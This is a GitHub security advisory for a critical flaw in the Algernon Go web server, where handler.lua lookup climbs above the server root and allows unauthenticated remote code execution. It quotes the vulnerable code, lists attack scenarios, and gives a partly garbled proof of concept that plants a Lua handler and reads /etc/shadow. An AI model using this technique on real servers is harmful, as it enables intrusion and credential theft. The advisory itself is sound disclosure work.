GitHub Advisoryadvisory · Go

GHSA-xwcr-wm99-g9jc Algernon: handler.lua discovery walks parent directories above the server root

CRITICAL Published 2026-05-19 Modified 2026-05-19 Official page ↗
Aliases
CVE-2026-45721
Ecosystem
Go
Packages
github.com/xyproto/algernon
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-20, CWE-426, CWE-552
Reviewed
2026-05-19

Affected packages

• Go github.com/xyproto/algernon: < 1.17.7 → fixed in 1.17.7

Description

Summary When Algernon is asked for any URL path that resolves to a directory *without* an index file, `DirPage` walks upward through parent directories — past the configured server root — looking for a file named `handler.lua` to execute as the request handler. The loop terminates only after 100 ancestor steps or when `filepath.Dir` returns `.`, so on any absolute server-root path the search reaches the filesystem root (`/` on Unix, drive letter on Windows). The first `handler.lua` it finds is loaded into the Lua interpreter with the full Algernon API exposed — including `run3()`, `httpclient`, `os.execute`, `io.popen`, `PQ`, `MSSQL`, raw filesystem access, and the userstate database. Any process that can write `handler.lua` anywhere in a parent directory of the server root obtains pre-authenticated remote code execution on the next HTTP request. This is reachable without authentication — the lookup happens before the permission check returns a hit (the perm system only gates URL prefixes, not the handler-resolution step), and any URL pointing at a directory without an index triggers the walk. On a fresh stock Algernon install the request `GET /` is enough. Details Root cause — unbounded upward search in `DirPage` ```go // engine/dirhandler.go:170-183 // Serve handler.lua, if found in parent directories var ancestor string ancestor = filepath.Dir(dirname) for range 100 { // a maximum of 100 directories deep filename = filepath.Join(ancestor, "handler.lua") if ac.fs.Exists(filename) { ac.FilePage(w, req, filename, luaDataFilename) return } if ancestor == "." { break } ancestor = filepath.Dir(ancestor) } ``` `dirname` is the absolute path of the requested directory on disk, e.g. `/srv/algernon/` when running with `--prod` (see engine/config.go:207). `filepath.Dir("/srv/algernon")` is `/srv`, then `/`, and `filepath.Dir("/")` returns `/` indefinitely. The break clause `if ancestor == "."` only fires for *relative* paths, so on every absolute server-root configuration the loop walks all the way to `/` and then spins on `/` for the remaining iterations until the `100` cap is hit. Each iteration calls `ac.fs.Exists(/handler.lua)`. For the canonical `--prod` invocation the candidate set is: ``` /srv/handler.lua /handler.lua ``` For `algernon /var/www/example.com`: ``` /var/www/handler.lua /var/handler.lua /handler.lua ``` For `algernon ~/site` started by user `alice`: ``` /home/alice/handler.lua /home/handler.lua /handler.lua ``` The first match wins. The match is then dispatched through `FilePage`, which for `.lua` files routes to `RunLua` (`engine/handlers.go:269`) and runs the file in a pooled `lua.LState` with the full Algernon function map attached (`engine/lua.go:30-112`). Every dangerous primitive in the engine is reachable: shell-out via `run3()` (`engine/basic.go:140-146`, calling `exec.Command("sh", "-c", ...)`), arbitrary outbound HTTP via the `httpclient` module, the unsandboxed gopher-lua `os`/`io`/`debug` libraries, and the full permissions/userstate API. Why the request is reachable unauthenticated The permission middleware in `RegisterHandlers` runs before `DirPage` but only rejects requests whose `req.URL.Path` matches an admin/user prefix: ```go // engine/handlers.go:510-525 allRequests := func(w http.ResponseWriter, req *http.Request) { if ac.perm != nil { if ac.perm.Rejected(w, req) { sc := sheepcounter.New(w) ac.perm.DenyFunction()(sc, req) ac.LogAccess(req, http.StatusForbidden, sc.Counter()) return } } ... ``` `Rejected` returns false for `/` because of `rootIsPublic && path == "/"` (`vendor/.../permissionbolt/v2/permissionbolt.go:118`). Anonymous `GET /` therefore reaches `DirPage`, hits the ancestor walk, and — if any `handler.lua` exists anywhere in the parent chain — executes it as the response handler for `/`. The same applies to every directory-style URL (`/foo/`, `/foo/bar/`, …) that does not contain one of the listed `index.*` files. Three exploit-amenable scenarios: 1. Multi-tenant / shared hosting. Operators running multiple Algernon instances from sibling directories (`/srv/tenantA`, `/srv/tenantB`) share `/srv` as a common ancestor. A `handler.lua` placed by tenant B inside `/srv` becomes the catch-all handler for tenant A's requests, executing in tenant A's process with tenant A's database, redis, and filesystem permissions. The same pattern fires when a single OS user runs several `algernon` processes from `~/sites/` — anything writable at `~/sites/` (or `~/`) escalates into every instance. 2. CI runners, container images, dev workstations. A repository or container that contains *any* `handler.lua` at root, in `/srv`, in `/var`, or in `/home/` — even one that pre-dates Algernon's installation, even one left over from a tutorial — becomes a remote-execution backdoor the moment Algernon starts. The current `samples/` tree contains six `handler.lua` files (`samples/handle/handler.lua`, `samples/htmx/handler.lua`, etc.); copying any of them up to a parent directory by mistake is fatal. 3. Attacker who already has unprivileged write to any parent directory (low-privileged user, world-writable `/tmp` if `/tmp` is on the parent chain, an extracted `.zip`/`.alg` web application that drops a `handler.lua` at the extraction root in `/dev/shm` or `serverTempDir`, etc.) gains pre-authenticated RCE for every request the Algernon process answers. The `.alg` extraction case is especially direct: `FilePage` for `.alg` files calls `unzip.Extract(filename, webApplicationExtractionDir)` with `webApplicationExtractionDir = "/dev/shm"` or the server temp dir (`engine/handlers.go:249-266`); an `.alg` archive containing a top-level `handler.lua` writes it into the extraction directory, which is itself a parent of subsequent `DirPage` calls for that application. Source-level evidence ```text $ rg -n 'handler\.lua' engine/ engine/dirhandler.go:170: // Serve handler.lua, if found in parent directories engine/dirhandler.go:174: filename = filepath.Join(ancestor, "handler.lua") $ rg -n 'run3|os\.execute|exec\.Command' engine/basic.go lua/run3/ engine/basic.go:142: command := L.ToString(1) engine/basic.go:144: return run3.ShellHelper(L, command, workingDir) lua/run3/run3.go:23: cmd := exec.Command("sh", "-c", command) $ rg -n 'lua\.NewState|skip(?:_)?open_libs|OpenLibs' lua/pool/ engine/ lua/pool/pool.go:34: L := lua.NewState() No skip-libs flag is set — gopher-lua loads os, io, debug, package by default. ``` The Lua state pool issues states with stock library loading (no `SkipOpenLibs` option in lua/pool/pool.go), so the `handler.lua` discovered above the root has `os.execute`, `io.popen`, `package.loadlib` (DLL loading), `debug.*`, plus every Algernon-bound function. This is documented behaviour for trusted scripts *inside* the served tree; the bug is that the discovery search reaches scripts the operator never opted in to. PoC Variant A — confused-deputy via shared parent ```bash Operator runs Algernon serving a directory under /srv: sudo mkdir -p /srv/site && echo 'hi' > /srv/site/index.html algernon --prod /srv/site & # binds :3000 Attacker (any account with write to /srv) drops handler.lua one level up: cat > /srv/handler.lua &1 | head -3") print(out) EOF Trigger from anywhere on the network — any directory URL that lacks an index.* file inside /srv/site fires the parent walk. The cleanest trigger is to request a non-existent subdir: curl -i http://server:3000/nope/ => Algernon executes /srv/handler.lua. Response body is the captured stdout of `id` and the first lines of /etc/shadow (if Algernon runs as root, or the targeted file is readable b…

Related

Alias · CVE (1)

  • CVE-2026-45721 Algernon is a small self-contained pure-Go web server. vulnerability

Weakness · CWE (3)

  • CWE-20 Improper Input Validation weakness
  • CWE-426 Untrusted Search Path weakness
  • CWE-552 Files or Directories Accessible to External Parties weakness

References